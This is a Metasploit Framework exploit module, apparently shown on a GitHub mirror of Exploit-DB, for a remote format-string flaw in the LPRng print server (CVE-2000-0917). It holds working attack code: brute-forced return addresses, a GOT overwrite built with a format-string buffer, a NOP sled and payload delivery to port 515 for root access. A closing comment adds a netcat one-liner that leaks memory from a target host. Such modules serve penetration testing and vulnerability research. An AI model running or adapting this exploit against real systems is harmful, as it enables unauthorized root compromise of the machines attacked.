forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path16842.rb
More file actions
executable file
·193 lines (160 loc) · 5.06 KB
/
Copy path16842.rb
File metadata and controls
executable file
·193 lines (160 loc) · 5.06 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
##
# $Id: lprng_format_string.rb 9666 2010-07-03 01:09:32Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Brute
include Msf::Exploit::FormatString
def initialize(info = {})
super(update_info(info,
'Name' => 'LPRng use_syslog Remote Format String Vulnerability',
'Description' => %q{
This module exploits a format string vulnerability in the LPRng print server.
This vulnerability was discovered by Chris Evans. There was a publicly
circulating worm targeting this vulnerability, which prompted RedHat to pull
their 7.0 release. They consequently re-released it as "7.0-respin".
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9666 $',
'References' =>
[
[ 'CVE', '2000-0917' ],
[ 'OSVDB', '421' ],
[ 'BID', '1712' ],
[ 'US-CERT-VU', '382365' ],
[ 'URL', 'http://www.cert.org/advisories/CA-2000-22.html' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=17756' ],
[ 'URL', 'http://www.exploit-db.com/exploits/226' ],
[ 'URL', 'http://www.exploit-db.com/exploits/227' ],
[ 'URL', 'http://www.exploit-db.com/exploits/230' ]
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Privileged' => true, # root
'DefaultOptions' =>
{
'PrependSetresuid' => true
},
'Payload' =>
{
'Space' => 130, # buffer size on caldera is 180! (need ~50 for fmt)
'BadChars' => "\x00\x0a\x20\x25",
},
'Targets' =>
[
# tested OK - jjd
[ 'Caldera OpenLinux 2.3 Bruteforce',
{
'Platform' => 'linux',
'NumPops' => 243,
'FlowHook' => 0x80992d4, # GOT of exit
# (0x809c180+(41+4+10+48)) - data segment, but gets corrupted
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xcffffff4 },
'Stop' => { 'Ret' => 0x7fffe004 },
'Step' => 16
}
}
],
=begin
# untested (from public exploits)
[ 'Slackware 7.0 LPRng-3.6.22.tgz - started from shell',
{
'NumPops' => 299,
'Ret' => 0xbffff640,
'FlowHook' => 0xbfffee30
}
],
[ 'RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5',
{
'NumPops' => 304,
'Ret' => 0xbffff920,
'FlowHook' => 0xbffff0f0
}
],
[ 'RedHat 7.0 - Guinesss',
{
'NumPops' => 300,
'Ret' => 0x41424344,
'FlowHook' => 0xbffff3ec
}
],
[ 'RedHat 7.0 - Guinesss-dev',
{
'NumPops' => 300,
'Ret' => 0x41424344,
'FlowHook' => 0xbffff12c
}
],
=end
# ...
[ 'Debug',
{
'NumPops' => 1, # sure to miss.
'Ret' => 0x41424344,
'FlowHook' => 0x45464748
}
]
],
# 'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 25 2000'))
register_options( [ Opt::RPORT(515) ], self.class )
end
def exploit
# we want to use DPA for this one :)
fmtstr_set_caps(false, true)
# check syslog to see which number hits 41414141
=begin
400.times { |x|
connect
buf = "aAAAABBBB|%%%u$x|%u\n" % [x+1, x+1]
sock.put(buf)
#handler
disconnect
}
=end
print_status("Trying target #{target.name} ..")
super
end
def brute_exploit(addrs)
#print_status("Trying target #{target.name} - addr 0x%x..." % addrs['Ret'])
printed = "Service_connection: bad request line '\\35" # + "'XXXYYYYZZZZ...
num_start = printed.length + 2 + 4
# write 'ret' addr to flowhook (execute shellcode)
# NOTE: the resulting two writes must be done at the same time
# characters (chr(10) > X > chr(99)) will screw up alignment (\XXX in syslog)
fmtbuf = "_" * 4
fmtbuf << generate_fmt_two_shorts(num_start, target['FlowHook'], addrs['Ret'])
#print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
# append payload and newline
#fmtbuf << payload.encoded
fmtbuf << "\x90" * 32
fmtbuf << Rex::Text.charset_exclude(payload_badchars)
fmtbuf << "\n"
print_status(" writing 0x%x to 0x%x" % [addrs['Ret'], target['FlowHook']])
connect
#print_status("Sleeping, attach now!!")
#select(nil,nil,nil,5)
sock.put(fmtbuf)
handler
disconnect
end
end
=begin
HRM!
The following causes info leakage!
bash$ ( ruby -e 'puts "\x09" + ("%x" * 50) + "\n"'; cat) | nc 192.168.0.120 515 | hexdump -vC
There are various other ways to trigger the vulnerability. LPD uses the single-byte commands
0x01 -> 0x09...
It's unclear if there is a way to auto-detect the lpd version via LPD commands.
=end